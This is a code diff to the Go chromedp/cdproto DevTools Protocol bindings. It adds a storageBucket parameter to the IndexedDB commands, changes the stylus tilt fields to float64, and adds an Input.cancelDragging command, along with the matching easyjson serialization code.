const prefix string = ",\"storageBucket\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
(*in.StorageBucket).MarshalEasyJSON(out)
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"databaseName\":"
|
||||
if first {
|
||||
@@ -1535,6 +1616,16 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoIndexeddb15(in *jlexer.Lexer,
|
||||
out.SecurityOrigin = string(in.String())
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
case "storageBucket":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.StorageBucket = nil
|
||||
} else {
|
||||
if out.StorageBucket == nil {
|
||||
out.StorageBucket = new(storage.Bucket)
|
||||
}
|
||||
(*out.StorageBucket).UnmarshalEasyJSON(in)
|
||||
}
|
||||
case "databaseName":
|
||||
out.DatabaseName = string(in.String())
|
||||
case "objectStoreName":
|
||||
@@ -1579,6 +1670,16 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoIndexeddb15(out *jwriter.Writ
|
||||
}
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
if in.StorageBucket != nil {
|
||||
const prefix string = ",\"storageBucket\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
(*in.StorageBucket).MarshalEasyJSON(out)
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"databaseName\":"
|
||||
if first {
|
||||
@@ -1652,6 +1753,16 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoIndexeddb16(in *jlexer.Lexer,
|
||||
out.SecurityOrigin = string(in.String())
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
case "storageBucket":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.StorageBucket = nil
|
||||
} else {
|
||||
if out.StorageBucket == nil {
|
||||
out.StorageBucket = new(storage.Bucket)
|
||||
}
|
||||
(*out.StorageBucket).UnmarshalEasyJSON(in)
|
||||
}
|
||||
case "databaseName":
|
||||
out.DatabaseName = string(in.String())
|
||||
default:
|
||||
@@ -1684,6 +1795,16 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoIndexeddb16(out *jwriter.Writ
|
||||
}
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
if in.StorageBucket != nil {
|
||||
const prefix string = ",\"storageBucket\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
(*in.StorageBucket).MarshalEasyJSON(out)
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"databaseName\":"
|
||||
if first {
|
||||
@@ -1983,6 +2104,16 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoIndexeddb19(in *jlexer.Lexer,
|
||||
out.SecurityOrigin = string(in.String())
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
case "storageBucket":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.StorageBucket = nil
|
||||
} else {
|
||||
if out.StorageBucket == nil {
|
||||
out.StorageBucket = new(storage.Bucket)
|
||||
}
|
||||
(*out.StorageBucket).UnmarshalEasyJSON(in)
|
||||
}
|
||||
case "databaseName":
|
||||
out.DatabaseName = string(in.String())
|
||||
case "objectStoreName":
|
||||
@@ -2017,6 +2148,16 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoIndexeddb19(out *jwriter.Writ
|
||||
}
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
if in.StorageBucket != nil {
|
||||
const prefix string = ",\"storageBucket\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
(*in.StorageBucket).MarshalEasyJSON(out)
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"databaseName\":"
|
||||
if first {
|
||||
|
||||
+100
-43
@@ -10,14 +10,16 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/storage"
|
||||
)
|
||||
|
||||
// ClearObjectStoreParams clears all entries from an object store.
|
||||
type ClearObjectStoreParams struct {
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
DatabaseName string `json:"databaseName"` // Database name.
|
||||
ObjectStoreName string `json:"objectStoreName"` // Object store name.
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey, or storageBucket must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
StorageBucket *storage.Bucket `json:"storageBucket,omitempty"` // Storage bucket. If not specified, it uses the default bucket.
|
||||
DatabaseName string `json:"databaseName"` // Database name.
|
||||
ObjectStoreName string `json:"objectStoreName"` // Object store name.
|
||||
}
|
||||
|
||||
// ClearObjectStore clears all entries from an object store.
|
||||
@@ -35,8 +37,8 @@ func ClearObjectStore(databaseName string, objectStoreName string) *ClearObjectS
|
||||
}
|
||||
}
|
||||
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey
|
||||
// must be specified. Security origin.
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey,
|
||||
// or storageBucket must be specified. Security origin.
|
||||
func (p ClearObjectStoreParams) WithSecurityOrigin(securityOrigin string) *ClearObjectStoreParams {
|
||||
p.SecurityOrigin = securityOrigin
|
||||
return &p
|
||||
@@ -48,6 +50,13 @@ func (p ClearObjectStoreParams) WithStorageKey(storageKey string) *ClearObjectSt
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithStorageBucket storage bucket. If not specified, it uses the default
|
||||
// bucket.
|
||||
func (p ClearObjectStoreParams) WithStorageBucket(storageBucket *storage.Bucket) *ClearObjectStoreParams {
|
||||
p.StorageBucket = storageBucket
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes IndexedDB.clearObjectStore against the provided context.
|
||||
func (p *ClearObjectStoreParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandClearObjectStore, p, nil)
|
||||
@@ -55,9 +64,10 @@ func (p *ClearObjectStoreParams) Do(ctx context.Context) (err error) {
|
||||
|
||||
// DeleteDatabaseParams deletes a database.
|
||||
type DeleteDatabaseParams struct {
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
DatabaseName string `json:"databaseName"` // Database name.
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey, or storageBucket must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
StorageBucket *storage.Bucket `json:"storageBucket,omitempty"` // Storage bucket. If not specified, it uses the default bucket.
|
||||
DatabaseName string `json:"databaseName"` // Database name.
|
||||
}
|
||||
|
||||
// DeleteDatabase deletes a database.
|
||||
@@ -73,8 +83,8 @@ func DeleteDatabase(databaseName string) *DeleteDatabaseParams {
|
||||
}
|
||||
}
|
||||
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey
|
||||
// must be specified. Security origin.
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey,
|
||||
// or storageBucket must be specified. Security origin.
|
||||
func (p DeleteDatabaseParams) WithSecurityOrigin(securityOrigin string) *DeleteDatabaseParams {
|
||||
p.SecurityOrigin = securityOrigin
|
||||
return &p
|
||||
@@ -86,6 +96,13 @@ func (p DeleteDatabaseParams) WithStorageKey(storageKey string) *DeleteDatabaseP
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithStorageBucket storage bucket. If not specified, it uses the default
|
||||
// bucket.
|
||||
func (p DeleteDatabaseParams) WithStorageBucket(storageBucket *storage.Bucket) *DeleteDatabaseParams {
|
||||
p.StorageBucket = storageBucket
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes IndexedDB.deleteDatabase against the provided context.
|
||||
func (p *DeleteDatabaseParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDeleteDatabase, p, nil)
|
||||
@@ -94,11 +111,12 @@ func (p *DeleteDatabaseParams) Do(ctx context.Context) (err error) {
|
||||
// DeleteObjectStoreEntriesParams delete a range of entries from an object
|
||||
// store.
|
||||
type DeleteObjectStoreEntriesParams struct {
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
DatabaseName string `json:"databaseName"`
|
||||
ObjectStoreName string `json:"objectStoreName"`
|
||||
KeyRange *KeyRange `json:"keyRange"` // Range of entry keys to delete
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey, or storageBucket must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
StorageBucket *storage.Bucket `json:"storageBucket,omitempty"` // Storage bucket. If not specified, it uses the default bucket.
|
||||
DatabaseName string `json:"databaseName"`
|
||||
ObjectStoreName string `json:"objectStoreName"`
|
||||
KeyRange *KeyRange `json:"keyRange"` // Range of entry keys to delete
|
||||
}
|
||||
|
||||
// DeleteObjectStoreEntries delete a range of entries from an object store.
|
||||
@@ -118,8 +136,8 @@ func DeleteObjectStoreEntries(databaseName string, objectStoreName string, keyRa
|
||||
}
|
||||
}
|
||||
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey
|
||||
// must be specified. Security origin.
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey,
|
||||
// or storageBucket must be specified. Security origin.
|
||||
func (p DeleteObjectStoreEntriesParams) WithSecurityOrigin(securityOrigin string) *DeleteObjectStoreEntriesParams {
|
||||
p.SecurityOrigin = securityOrigin
|
||||
return &p
|
||||
@@ -131,6 +149,13 @@ func (p DeleteObjectStoreEntriesParams) WithStorageKey(storageKey string) *Delet
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithStorageBucket storage bucket. If not specified, it uses the default
|
||||
// bucket.
|
||||
func (p DeleteObjectStoreEntriesParams) WithStorageBucket(storageBucket *storage.Bucket) *DeleteObjectStoreEntriesParams {
|
||||
p.StorageBucket = storageBucket
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes IndexedDB.deleteObjectStoreEntries against the provided context.
|
||||
func (p *DeleteObjectStoreEntriesParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDeleteObjectStoreEntries, p, nil)
|
||||
@@ -168,14 +193,15 @@ func (p *EnableParams) Do(ctx context.Context) (err error) {
|
||||
|
||||
// RequestDataParams requests data from object store or index.
|
||||
type RequestDataParams struct {
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
DatabaseName string `json:"databaseName"` // Database name.
|
||||
ObjectStoreName string `json:"objectStoreName"` // Object store name.
|
||||
IndexName string `json:"indexName"` // Index name, empty string for object store data requests.
|
||||
SkipCount int64 `json:"skipCount"` // Number of records to skip.
|
||||
PageSize int64 `json:"pageSize"` // Number of records to fetch.
|
||||
KeyRange *KeyRange `json:"keyRange,omitempty"` // Key range.
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey, or storageBucket must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
StorageBucket *storage.Bucket `json:"storageBucket,omitempty"` // Storage bucket. If not specified, it uses the default bucket.
|
||||
DatabaseName string `json:"databaseName"` // Database name.
|
||||
ObjectStoreName string `json:"objectStoreName"` // Object store name.
|
||||
IndexName string `json:"indexName"` // Index name, empty string for object store data requests.
|
||||
SkipCount int64 `json:"skipCount"` // Number of records to skip.
|
||||
PageSize int64 `json:"pageSize"` // Number of records to fetch.
|
||||
KeyRange *KeyRange `json:"keyRange,omitempty"` // Key range.
|
||||
}
|
||||
|
||||
// RequestData requests data from object store or index.
|
||||
@@ -199,8 +225,8 @@ func RequestData(databaseName string, objectStoreName string, indexName string,
|
||||
}
|
||||
}
|
||||
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey
|
||||
// must be specified. Security origin.
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey,
|
||||
// or storageBucket must be specified. Security origin.
|
||||
func (p RequestDataParams) WithSecurityOrigin(securityOrigin string) *RequestDataParams {
|
||||
p.SecurityOrigin = securityOrigin
|
||||
return &p
|
||||
@@ -212,6 +238,13 @@ func (p RequestDataParams) WithStorageKey(storageKey string) *RequestDataParams
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithStorageBucket storage bucket. If not specified, it uses the default
|
||||
// bucket.
|
||||
func (p RequestDataParams) WithStorageBucket(storageBucket *storage.Bucket) *RequestDataParams {
|
||||
p.StorageBucket = storageBucket
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithKeyRange key range.
|
||||
func (p RequestDataParams) WithKeyRange(keyRange *KeyRange) *RequestDataParams {
|
||||
p.KeyRange = keyRange
|
||||
@@ -243,10 +276,11 @@ func (p *RequestDataParams) Do(ctx context.Context) (objectStoreDataEntries []*D
|
||||
|
||||
// GetMetadataParams gets metadata of an object store.
|
||||
type GetMetadataParams struct {
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
DatabaseName string `json:"databaseName"` // Database name.
|
||||
ObjectStoreName string `json:"objectStoreName"` // Object store name.
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey, or storageBucket must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
StorageBucket *storage.Bucket `json:"storageBucket,omitempty"` // Storage bucket. If not specified, it uses the default bucket.
|
||||
DatabaseName string `json:"databaseName"` // Database name.
|
||||
ObjectStoreName string `json:"objectStoreName"` // Object store name.
|
||||
}
|
||||
|
||||
// GetMetadata gets metadata of an object store.
|
||||
@@ -264,8 +298,8 @@ func GetMetadata(databaseName string, objectStoreName string) *GetMetadataParams
|
||||
}
|
||||
}
|
||||
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey
|
||||
// must be specified. Security origin.
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey,
|
||||
// or storageBucket must be specified. Security origin.
|
||||
func (p GetMetadataParams) WithSecurityOrigin(securityOrigin string) *GetMetadataParams {
|
||||
p.SecurityOrigin = securityOrigin
|
||||
return &p
|
||||
@@ -277,6 +311,13 @@ func (p GetMetadataParams) WithStorageKey(storageKey string) *GetMetadataParams
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithStorageBucket storage bucket. If not specified, it uses the default
|
||||
// bucket.
|
||||
func (p GetMetadataParams) WithStorageBucket(storageBucket *storage.Bucket) *GetMetadataParams {
|
||||
p.StorageBucket = storageBucket
|
||||
return &p
|
||||
}
|
||||
|
||||
// GetMetadataReturns return values.
|
||||
type GetMetadataReturns struct {
|
||||
EntriesCount float64 `json:"entriesCount,omitempty"` // the entries count
|
||||
@@ -302,9 +343,10 @@ func (p *GetMetadataParams) Do(ctx context.Context) (entriesCount float64, keyGe
|
||||
|
||||
// RequestDatabaseParams requests database with given name in given frame.
|
||||
type RequestDatabaseParams struct {
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
DatabaseName string `json:"databaseName"` // Database name.
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey, or storageBucket must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
StorageBucket *storage.Bucket `json:"storageBucket,omitempty"` // Storage bucket. If not specified, it uses the default bucket.
|
||||
DatabaseName string `json:"databaseName"` // Database name.
|
||||
}
|
||||
|
||||
// RequestDatabase requests database with given name in given frame.
|
||||
@@ -320,8 +362,8 @@ func RequestDatabase(databaseName string) *RequestDatabaseParams {
|
||||
}
|
||||
}
|
||||
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey
|
||||
// must be specified. Security origin.
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey,
|
||||
// or storageBucket must be specified. Security origin.
|
||||
func (p RequestDatabaseParams) WithSecurityOrigin(securityOrigin string) *RequestDatabaseParams {
|
||||
p.SecurityOrigin = securityOrigin
|
||||
return &p
|
||||
@@ -333,6 +375,13 @@ func (p RequestDatabaseParams) WithStorageKey(storageKey string) *RequestDatabas
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithStorageBucket storage bucket. If not specified, it uses the default
|
||||
// bucket.
|
||||
func (p RequestDatabaseParams) WithStorageBucket(storageBucket *storage.Bucket) *RequestDatabaseParams {
|
||||
p.StorageBucket = storageBucket
|
||||
return &p
|
||||
}
|
||||
|
||||
// RequestDatabaseReturns return values.
|
||||
type RequestDatabaseReturns struct {
|
||||
DatabaseWithObjectStores *DatabaseWithObjectStores `json:"databaseWithObjectStores,omitempty"` // Database with an array of object stores.
|
||||
@@ -357,8 +406,9 @@ func (p *RequestDatabaseParams) Do(ctx context.Context) (databaseWithObjectStore
|
||||
// RequestDatabaseNamesParams requests database names for given security
|
||||
// origin.
|
||||
type RequestDatabaseNamesParams struct {
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey, or storageBucket must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
StorageBucket *storage.Bucket `json:"storageBucket,omitempty"` // Storage bucket. If not specified, it uses the default bucket.
|
||||
}
|
||||
|
||||
// RequestDatabaseNames requests database names for given security origin.
|
||||
@@ -370,8 +420,8 @@ func RequestDatabaseNames() *RequestDatabaseNamesParams {
|
||||
return &RequestDatabaseNamesParams{}
|
||||
}
|
||||
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey
|
||||
// must be specified. Security origin.
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey,
|
||||
// or storageBucket must be specified. Security origin.
|
||||
func (p RequestDatabaseNamesParams) WithSecurityOrigin(securityOrigin string) *RequestDatabaseNamesParams {
|
||||
p.SecurityOrigin = securityOrigin
|
||||
return &p
|
||||
@@ -383,6 +433,13 @@ func (p RequestDatabaseNamesParams) WithStorageKey(storageKey string) *RequestDa
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithStorageBucket storage bucket. If not specified, it uses the default
|
||||
// bucket.
|
||||
func (p RequestDatabaseNamesParams) WithStorageBucket(storageBucket *storage.Bucket) *RequestDatabaseNamesParams {
|
||||
p.StorageBucket = storageBucket
|
||||
return &p
|
||||
}
|
||||
|
||||
// RequestDatabaseNamesReturns return values.
|
||||
type RequestDatabaseNamesReturns struct {
|
||||
DatabaseNames []string `json:"databaseNames,omitempty"` // Database names for origin.
|
||||
|
||||
+67
-8
@@ -51,9 +51,9 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoInput(in *jlexer.Lexer, out *
|
||||
case "tangentialPressure":
|
||||
out.TangentialPressure = float64(in.Float64())
|
||||
case "tiltX":
|
||||
out.TiltX = int64(in.Int64())
|
||||
out.TiltX = float64(in.Float64())
|
||||
case "tiltY":
|
||||
out.TiltY = int64(in.Int64())
|
||||
out.TiltY = float64(in.Float64())
|
||||
case "twist":
|
||||
out.Twist = int64(in.Int64())
|
||||
case "id":
|
||||
@@ -110,12 +110,12 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoInput(out *jwriter.Writer, in
|
||||
if in.TiltX != 0 {
|
||||
const prefix string = ",\"tiltX\":"
|
||||
out.RawString(prefix)
|
||||
out.Int64(int64(in.TiltX))
|
||||
out.Float64(float64(in.TiltX))
|
||||
}
|
||||
if in.TiltY != 0 {
|
||||
const prefix string = ",\"tiltY\":"
|
||||
out.RawString(prefix)
|
||||
out.Int64(int64(in.TiltY))
|
||||
out.Float64(float64(in.TiltY))
|
||||
}
|
||||
if in.Twist != 0 {
|
||||
const prefix string = ",\"twist\":"
|
||||
@@ -1412,9 +1412,9 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoInput13(in *jlexer.Lexer, out
|
||||
case "tangentialPressure":
|
||||
out.TangentialPressure = float64(in.Float64())
|
||||
case "tiltX":
|
||||
out.TiltX = int64(in.Int64())
|
||||
out.TiltX = float64(in.Float64())
|
||||
case "tiltY":
|
||||
out.TiltY = int64(in.Int64())
|
||||
out.TiltY = float64(in.Float64())
|
||||
case "twist":
|
||||
out.Twist = int64(in.Int64())
|
||||
case "deltaX":
|
||||
@@ -1490,12 +1490,12 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoInput13(out *jwriter.Writer,
|
||||
if in.TiltX != 0 {
|
||||
const prefix string = ",\"tiltX\":"
|
||||
out.RawString(prefix)
|
||||
out.Int64(int64(in.TiltX))
|
||||
out.Float64(float64(in.TiltX))
|
||||
}
|
||||
if in.TiltY != 0 {
|
||||
const prefix string = ",\"tiltY\":"
|
||||
out.RawString(prefix)
|
||||
out.Int64(int64(in.TiltY))
|
||||
out.Float64(float64(in.TiltY))
|
||||
}
|
||||
if in.Twist != 0 {
|
||||
const prefix string = ",\"twist\":"
|
||||
@@ -1851,3 +1851,62 @@ func (v *DispatchDragEventParams) UnmarshalJSON(data []byte) error {
|
||||
func (v *DispatchDragEventParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoInput15(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoInput16(in *jlexer.Lexer, out *CancelDraggingParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoInput16(out *jwriter.Writer, in CancelDraggingParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v CancelDraggingParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoInput16(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v CancelDraggingParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoInput16(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *CancelDraggingParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoInput16(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *CancelDraggingParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoInput16(l, v)
|
||||
}
|
||||
+20
-4
@@ -272,8 +272,8 @@ type DispatchMouseEventParams struct {
|
||||
ClickCount int64 `json:"clickCount,omitempty"` // Number of times the mouse button was clicked (default: 0).
|
||||
Force float64 `json:"force,omitempty"` // The normalized pressure, which has a range of [0,1] (default: 0).
|
||||
TangentialPressure float64 `json:"tangentialPressure,omitempty"` // The normalized tangential pressure, which has a range of [-1,1] (default: 0).
|
||||
TiltX int64 `json:"tiltX,omitempty"` // The plane angle between the Y-Z plane and the plane containing both the stylus axis and the Y axis, in degrees of the range [-90,90], a positive tiltX is to the right (default: 0).
|
||||
TiltY int64 `json:"tiltY,omitempty"` // The plane angle between the X-Z plane and the plane containing both the stylus axis and the X axis, in degrees of the range [-90,90], a positive tiltY is towards the user (default: 0).
|
||||
TiltX float64 `json:"tiltX,omitempty"` // The plane angle between the Y-Z plane and the plane containing both the stylus axis and the Y axis, in degrees of the range [-90,90], a positive tiltX is to the right (default: 0).
|
||||
TiltY float64 `json:"tiltY,omitempty"` // The plane angle between the X-Z plane and the plane containing both the stylus axis and the X axis, in degrees of the range [-90,90], a positive tiltY is towards the user (default: 0).
|
||||
Twist int64 `json:"twist,omitempty"` // The clockwise rotation of a pen stylus around its own major axis, in degrees in the range [0,359] (default: 0).
|
||||
DeltaX float64 `json:"deltaX"` // X delta in CSS pixels for mouse wheel event (default: 0).
|
||||
DeltaY float64 `json:"deltaY"` // Y delta in CSS pixels for mouse wheel event (default: 0).
|
||||
@@ -347,7 +347,7 @@ func (p DispatchMouseEventParams) WithTangentialPressure(tangentialPressure floa
|
||||
// WithTiltX the plane angle between the Y-Z plane and the plane containing
|
||||
// both the stylus axis and the Y axis, in degrees of the range [-90,90], a
|
||||
// positive tiltX is to the right (default: 0).
|
||||
func (p DispatchMouseEventParams) WithTiltX(tiltX int64) *DispatchMouseEventParams {
|
||||
func (p DispatchMouseEventParams) WithTiltX(tiltX float64) *DispatchMouseEventParams {
|
||||
p.TiltX = tiltX
|
||||
return &p
|
||||
}
|
||||
@@ -355,7 +355,7 @@ func (p DispatchMouseEventParams) WithTiltX(tiltX int64) *DispatchMouseEventPara
|
||||
// WithTiltY the plane angle between the X-Z plane and the plane containing
|
||||
// both the stylus axis and the X axis, in degrees of the range [-90,90], a
|
||||
// positive tiltY is towards the user (default: 0).
|
||||
func (p DispatchMouseEventParams) WithTiltY(tiltY int64) *DispatchMouseEventParams {
|
||||
func (p DispatchMouseEventParams) WithTiltY(tiltY float64) *DispatchMouseEventParams {
|
||||
p.TiltY = tiltY
|
||||
return &p
|
||||
}
|
||||
@@ -431,6 +431,21 @@ func (p *DispatchTouchEventParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDispatchTouchEvent, p, nil)
|
||||
}
|
||||
|
||||
// CancelDraggingParams cancels any active dragging in the page.
|
||||
type CancelDraggingParams struct{}
|
||||
|
||||
// CancelDragging cancels any active dragging in the page.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Input#method-cancelDragging
|
||||
func CancelDragging() *CancelDraggingParams {
|
||||
return &CancelDraggingParams{}
|
||||
}
|
||||
|
||||
// Do executes Input.cancelDragging against the provided context.
|
||||
func (p *CancelDraggingParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandCancelDragging, nil, nil)
|
||||
}
|
||||
|
||||
// EmulateTouchFromMouseEventParams emulates touch event from the mouse event
|
||||
// parameters.
|
||||
type EmulateTouchFromMouseEventParams struct {
|
||||
@@ -764,6 +779,7 @@ const (
|
||||
CommandImeSetComposition = "Input.imeSetComposition"
|
||||
CommandDispatchMouseEvent = "Input.dispatchMouseEvent"
|
||||
CommandDispatchTouchEvent = "Input.dispatchTouchEvent"
|
||||
CommandCancelDragging = "Input.cancelDragging"
|
||||
CommandEmulateTouchFromMouseEvent = "Input.emulateTouchFromMouseEvent"
|
||||
CommandSetIgnoreInputEvents = "Input.setIgnoreInputEvents"
|
||||
CommandSetInterceptDrags = "Input.setInterceptDrags"
|
||||
|
||||
+2
-2
@@ -23,8 +23,8 @@ type TouchPoint struct {
|
||||
RotationAngle float64 `json:"rotationAngle,omitempty"` // Rotation angle (default: 0.0).
|
||||
Force float64 `json:"force,omitempty"` // Force (default: 1.0).
|
||||
TangentialPressure float64 `json:"tangentialPressure,omitempty"` // The normalized tangential pressure, which has a range of [-1,1] (default: 0).
|
||||
TiltX int64 `json:"tiltX,omitempty"` // The plane angle between the Y-Z plane and the plane containing both the stylus axis and the Y axis, in degrees of the range [-90,90], a positive tiltX is to the right (default: 0)
|
||||
TiltY int64 `json:"tiltY,omitempty"` // The plane angle between the X-Z plane and the plane containing both the stylus axis and the X axis, in degrees of the range [-90,90], a positive tiltY is towards the user (default: 0).
|
||||
TiltX float64 `json:"tiltX,omitempty"` // The plane angle between the Y-Z plane and the plane containing both the stylus axis and the Y axis, in degrees of the range [-90,90], a positive tiltX is to the right (default: 0)
|
||||
TiltY float64 `json:"tiltY,omitempty"` // The plane angle between the X-Z plane and the plane containing both the stylus axis and the X axis, in degrees of the range [-90,90], a positive tiltY is towards the user (default: 0).
|
||||
Twist int64 `json:"twist,omitempty"` // The clockwise rotation of a pen stylus around its own major axis, in degrees in the range [0,359] (default: 0).
|
||||
